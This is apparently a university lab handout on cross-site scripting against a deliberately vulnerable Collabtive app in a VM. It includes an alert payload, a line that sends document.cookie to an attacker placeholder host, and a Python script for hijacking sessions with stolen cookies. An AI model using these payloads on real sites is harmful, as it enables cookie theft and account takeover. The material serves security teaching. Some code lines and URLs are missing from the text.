Lab 8 - Cross-site Scripting Attacks


Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability makes it possible for attackers to inject malicious code (e.g. JavaScript programs) into victim's web browser. Using this malicious code, the attackers can steal the victim's credentials, such as cookies. The access control policies employed by the browser to protect those credentials (i.e., the same origin policy) can be bypassed by exploiting the XSS vulnerability. Vulnerabilities of this kind can potentially lead to large-scale attacks.

To demonstrate what attackers can do by exploiting XSS vulnerabilities, we have set up a web-based project management software named Collabtive. We modified the software to introduce an XSS vulnerability in this project management software; this vulnerability allows users to post any arbitrary message, including JavaScript programs, to the project introduction, message board, tasklist, milestone, timetracker and even the profiles. You will need to exploit this vulnerability by posting some malicious messages to the user profiles; users who view these profiles will become victims. The attackers' goal is to post forged messages and create false projects for the victims.

Lab Environment

For this lab you will work in groups of two and turn in one common report.

For this lab you need to use the provided SEEDUbuntu12.4 virtual machine image, the same as for lab 5. Follow the instructor's instructions to start and configure the VM.

Login Name: seed

Password: dees

Lab Set-up - Nothing to do yet, just read for your information

In this lab, we need three things, all of which are already installed in the provided VM image: (1) the Firefox web browser, (2) the Apache web server, and (3) the Collabtive project management web application. For the browser, we need to use the LiveHTTPHeaders extension for Firefox to inspect the HTTP requests and responses. The pre-built Ubuntu VM image provided to you has already installed the Firefox web browser with the required extensions.

Starting the Apache Server. The Apache web server is included in the pre-built Ubuntu image. The web server is started by default. If you need to start the web server, use the following command:

sudo service apache2 start

The Collabtive Web Application. We use an open-source web application called Collabtive in this lab. Collabtive is a web-based project management system. This web application is already set up in the pre-built Ubuntu VM image. We have also created several user accounts on the Collabtive server. To see all the users' account information, first log in as the admin using the following password; other users' account information can be obtained from the post on the front page or the "Manage users" tab.

username: admin

password: admin

Configuring DNS. We have configured the following URL needed for this lab. To access the URL, the Apache server needs to be started first:






The above URL is only accessible from inside of the virtual machine, because we have modified the /etc/hosts file to map the domain name of each URL to the virtual machine's local IP address ( You may map any domain name to a particular IP address using /etc/hosts. For example you can map to the local IP address by appending the following entry to /etc/hosts:

If your web server and browser are running on two different machines, you need to modify /etc/hosts on the browser's machine accordingly to map these domain names to the web server's IP address, not to

Configuring Apache Server. In the pre-built VM image, we use Apache server to host all the web sites used in the lab. The name-based virtual hosting feature in Apache could be used to host several web sites (or URLs) on the same machine. A configuration file named default in the directory "/etc/apache2/sites-available" contains the necessary directives for the configuration:

1. The directive "NameVirtualHost*" instructs the web server to use all IP addresses in the machine (some machines may have multiple IP addresses).

2. Each web site has a VirtualHost block that specifies the URL for the web site and directory in the file system that contains the sources for the web site. For example, to configure a web site with URL with sources in directory /var/www/Example_1/, and to configure a web site with URL with sources in directory /var/www/Example_2/, we use the following blocks:

<VirtualHost *>


DocumentRoot /var/www/Example_1/


<VirtualHost *>


DocumentRoot /var/www/Example_2/


You may modify the web application by accessing the source in the mentioned directories. For example, with the above configuration, the web application can be changed by modifying the sources in the directory /var/www/Example_1/.

Lab Tasks


You will work in groups of two and turn in one lab report

You must create a folder on your public_html called "Lab08" (without the quotes) and store your work in that directory. Because you will do this lab in teams, only one submission is required for each team. However, the final report should be stored in both of the team members Lab08 folder. Create a file lastname1_lastname2_lab08.docx. For this lab you need to submit a detailed lab report (in lastname1_lastname2_lab08.docx) to describe what you have done and what you have observed. Please provide details using screenshots. You also need to provide explanation to the observations that are interesting or surprising. Complete this report as you go through the tasks below!!

Task 1: Posting a Malicious Message to Display an Alert Window

The objective of this task is to embed a JavaScript program in your Collabtive profile, such that when another user views your profile, the JavaScript program will be executed and an alert window will be displayed. The following JavaScript program will display an alert window:<script>alert('XSS');</script>

Inject some JavaScript in your profile (e.g. in the company field), so any user who views your profile will see an alert window saying "Hi, XSS!". Note that in this case, the JavaScript code is short enough to be typed into the company field. If you want to run a long JavaScript, but you are limited by the number of characters you can type in the form, you can of course store the JavaScript program in a standalone file, save it with the .js extension, and then refer to it using the src attribute in the <script> tag. The src attribute can contain a relative link or an absolute URL to any server.

Task 2: Posting a Malicious Message to Display Cookies

The objective of this task is to embed a JavaScript program in your Collabtive profile, such that when another user views your profile, the user's cookies will be displayed in the alert window. Modify the JavaScript from the previous task to display the cookies for the page instead of "Hi-XSS"

Task 3: Stealing Cookies from the Victim's Machine

In the previous task, the malicious JavaScript code written by the attacker can print out the user's cookies, but only the user can see the cookies, not the attacker. In this task, the attacker wants the JavaScript code to send the cookies to himself/herself. To achieve this, the malicious JavaScript code needs to send an HTTP request to the attacker, with the cookies appended to the request. One way to do this is by having the malicious JavaScript insert an <img> tag with its src attribute set to the attacker's machine. When the JavaScript inserts the img tag, the browser tries to load the image from the URL in the src field; this results in an HTTP GET request sent to the attacker's machine. The JavaScript given below sends the cookies to the port 5555 of the attacker's machine, where the attacker has a TCP server listening to the same port. The server can print out whatever it receives.

<script>document.write('<img src=http://attacker_IP_address:5555?c='+ escape(document.cookie) + ' >');</script>

A simple TCP server program is available from the lab's web site. Download it to your VM and untar it using

tar -xvf echoserv.tar

Follow the instruction in the README file to build and run the TCP server. Test that cookies are received by your (attacker) TCP server.

Task 4: Session Hijacking using the Stolen Cookies

After stealing the victim's cookies, the attacker can do whatever the victim can do to the Collabtive web server, including creating a new project on behalf of the victim, deleting the victim's post, etc. Essentially, the attack has hijacked the victim's session. In this task, we will launch this session hijacking attack, and write a program to create a new project on behalf of the victim. The attack should ideally be launched from another virtual machine, but that is not installed on the lab machine, so you will attack from the same VM.

To forge a project, we should first find out how a legitimate user creates a project in Collabtive. More specifically, we need to figure out what parameters are sent to the server when a user creates a project. Firefox's Developer tools -Web Console - Network tab or the LiveHTTPHeaders extension can help us; it can display the contents of any HTTP request message sent from the browser. From the contents, we can identify all the parameters in the request. The LiveHTTPHeaders is already installed in the pre-built Ubuntu VM image.

Once we have understood what the HTTP request for project creation looks like, we can write a Python script to send out the same HTTP request. The Collabtive server cannot distinguish whether the request is sent out by the user's browser or by the attacker's Python script. As long as we set all the parameters correctly, and the session cookie is attached, the server will accept and process the project-posting HTTP request. To simplify your task, we provide you with a sample Python 2 script (bc Python 3 is not installed on the VM) that does the following:

1. Open a connection to web server.

2. Set the necessary HTTP header information.

3. Send the request to web server.

4. Get the response from web server.

Modify the script to perform your attack. If interested, more information on how to write such a script is available at

#!/usr/bin/env python
import urllib
import urllib2

#TODO:need to modify the url to match the attacked website

url = 'http://victim_IP_or_domain_name_here/admin.php?action=addpro'

#TODO: you need to provide values for all parameters here 

values = {'name' : 'test proj','desc' : 'project description'}

#create the query string

data = urllib.urlencode(values)

#TODO: like for values, you need to add any necessary HTTP headers here

#I added a User-Agent that would be a browser, not a script - just in case the application checks

#add the cookies stolen using the method in Task 3 

headers = {'User-Agent':
'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0'}

#create the HTTP request (POST because we send data)

req = urllib2.Request(url, data, headers)

#send the request


  response = urllib2.urlopen(req)

except urllib2.HTTPError as e:

  #HTTP error 
  print 'HTTP Error received'
  print e.code

except urllib2.URLError as e:

  #URL error 
  print 'Could not reach the server'
  print e.reason

  #everything OK
  #this reads the response
  the_page =
  #just output the page for now
  print the_page

Task 5: Countermeasures

Collabtive does have a built-in countermeasure to defend against XSS attacks. We have commented out the countermeasure to simplify the attack. Please open include/initfunctions.php in the Collabtive application folder and find the getArrayVal() function. The script is in PHP not Python, but you should be able to figure out the main components. In particular, we have replaced the following line:

return strip_only_tags($array[$name],"script");



Please do some research and describe why the function strip_only_tags can make XSS attacks more difficult. Re-instate Collabtive's countermeasures and see if you can repeat your attacks now.


  1. You and your teammate need to submit a file lastname1_lastname2_Lab08.docx describing what you have done and what you have observed. Please provide details using screen shots. You also need to provide explanation to the observations that are interesting or surprising. Only one report is required for each team.
    Your report will be organized as follows:
    Task 1: Posting a Malicious Message to Display an Alert Window
    -Observations and screenshots
    Task 2: Posting a Malicious Message to Display Cookies
    -Observations and screenshots
  2. The report should be in a folder called "Lab08" (without the quotes) on both your public_html folders (you and your teammate). Your instructor will assume that your web pages are viewable at where XXXXXX is your alpha number.
  3. In your default.html page on your public_html, add a link to lastname1_lastname2_lab08.docx file under the heading "Lab08"
  4. Turn in (due before lab on Friday) One submission per team:
    1. Paper submission: turn in the following hardcopy at the beginning of class on the due date, stapled together in the following order (coversheet on top):
      1. A completed assignment coversheet. Your comments will help us improve the course.
      2. A printout of lastname1_lastname2_lab08.docx with your answers and screenshots. You can copy 2 or 4 pages per sheet to conserve paper and ink.
    2. Electronic submission: upload the lastname1_lastname2_lab08.docx file to Lab08 assignment on Blackboard.


This lab was adapted from the XSS lab created by Wenliang Du at Syracuse University